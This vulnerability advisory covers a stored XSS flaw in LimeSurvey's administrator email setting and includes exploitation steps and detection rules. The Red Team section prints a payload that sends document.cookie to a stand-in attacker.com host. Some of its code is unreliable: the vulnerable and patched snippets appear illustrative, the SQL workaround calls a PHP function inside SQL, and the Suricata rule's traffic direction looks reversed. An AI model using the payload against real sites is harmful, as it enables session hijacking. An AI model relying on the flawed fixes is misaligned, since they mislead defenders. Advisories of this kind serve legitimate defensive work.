CVE-2024-24506

Executive Summary

CVE-2024-24506 is a stored Cross-Site Scripting (XSS) vulnerability identified in LimeSurvey Community Edition version v.5.3.32+220817. The flaw resides in the Administrator email address parameter within the General Setting function, allowing a remote attacker to inject arbitrary JavaScript code. Successful exploitation could lead to session hijacking, credential theft, or defacement of the survey platform. No public proof-of-concept (PoC) or patch details are currently available, and the CVSS score remains unassigned. This vulnerability poses a moderate risk to organizations using the affected version, particularly those with administrative interfaces exposed to untrusted networks.

Supply Chain & Package Security

LimeSurvey is a PHP-based application distributed as a standalone package. No direct supply chain compromise has been reported, but the lack of a patch increases the risk of third-party exploitation via malicious plugins or themes.

CVSS Breakdown & Threat Level

The CVSS score is currently 0.0 (unassigned). Based on the vulnerability type (stored XSS) and the administrative context, a reasonable estimated vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires admin access to settings
• User Interaction (UI): None (N)
• Scope (S): Changed (C) – XSS can affect other users
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS:3.1 Score: 5.4 (Medium)

Threat Level: Medium – Exploitation requires authenticated admin access, but the impact can propagate to other users.

Deep Dive & Mechanics

The vulnerability occurs in the General Setting function of LimeSurvey’s administrative panel. The Administrator email address parameter is not properly sanitized before being stored and later rendered in the application’s interface. An attacker with administrative privileges can inject malicious HTML/JavaScript payloads into this field. When other administrators or users view the settings page, the payload executes in their browser context, enabling actions such as:

• Stealing session cookies
• Performing actions on behalf of the victim
• Redirecting to phishing pages
• Defacing the admin interface

The root cause is insufficient output encoding and lack of input validation for email fields that are displayed in the admin UI.

Vulnerable vs. Patched Code

Vulnerable Code (v.5.3.32+220817):

// In GeneralSetting controller
$admin_email = $_POST['admin_email'];
// Stored directly without sanitization
$this->setSetting('admin_email', $admin_email);

Patched Code (hypothetical):

// Proper sanitization using htmlspecialchars
$admin_email = htmlspecialchars($_POST['admin_email'], ENT_QUOTES, 'UTF-8');
$this->setSetting('admin_email', $admin_email);

The vulnerable code stores the raw input, while the patched version encodes special characters to prevent XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to LimeSurvey admin panel (authenticated)
• Vulnerable version v.5.3.32+220817

Exploitation Steps:

1. Log in as an administrator.
2. Navigate to Configuration → Global Settings.
3. In the Administrator email address field, inject the following payload:

   "><script>alert('XSS')</script>
   

4. Save the settings.
5. Any admin viewing the settings page will see the alert box.

Advanced Payload (session cookie theft):

"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

• Monitor admin settings changes for suspicious email patterns.
• Look for HTTP requests to /admin/globalsettings/save with unusual admin_email parameters.
• Use WAF rules to block email fields containing <script> or onerror attributes.

Mitigation:

• Restrict admin access to trusted IPs.
• Implement Content Security Policy (CSP) headers.
• Apply input validation and output encoding.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /admin/globalsettings/save with admin_email containing HTML/JavaScript.
  • Outbound connections to attacker-controlled domains from admin browsers.
• File:
  • Modified database entries in settings_global table with admin_email containing malicious scripts.
• Log:
  • Admin audit logs showing changes to email settings with unusual characters.

Detection Engineering

YARA Rule

rule CVE_2024_24506_LimeSurvey_XSS {
    meta:
        description = "Detects stored XSS payload in LimeSurvey admin email setting"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-24506"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/i
        $payload2 = /onerror\s*=/i
        $payload3 = /onload\s*=/i
    condition:
        any of ($payload*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-24506 LimeSurvey Admin Email XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS in LimeSurvey admin email setting
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/admin/globalsettings/save*'
        cs-uri-query|contains: 'admin_email'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate email addresses with special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-24506 LimeSurvey Admin Email XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/globalsettings/save"; http_uri;
    content:"admin_email"; http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-24506;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to the latest LimeSurvey version if a patch becomes available.
2. Restrict admin panel access via VPN or IP whitelisting.
3. Apply a virtual patch using WAF rules to block XSS payloads in email fields.

Long-term Fix:

• Implement proper input validation and output encoding for all user-supplied data.
• Use a Content Security Policy (CSP) to mitigate XSS impact.
• Conduct regular security audits of admin settings.

Workaround:

• Manually sanitize the admin_email field in the database using a script:

  UPDATE settings_global SET value = htmlspecialchars(value) WHERE name = 'admin_email';
  

Valters IT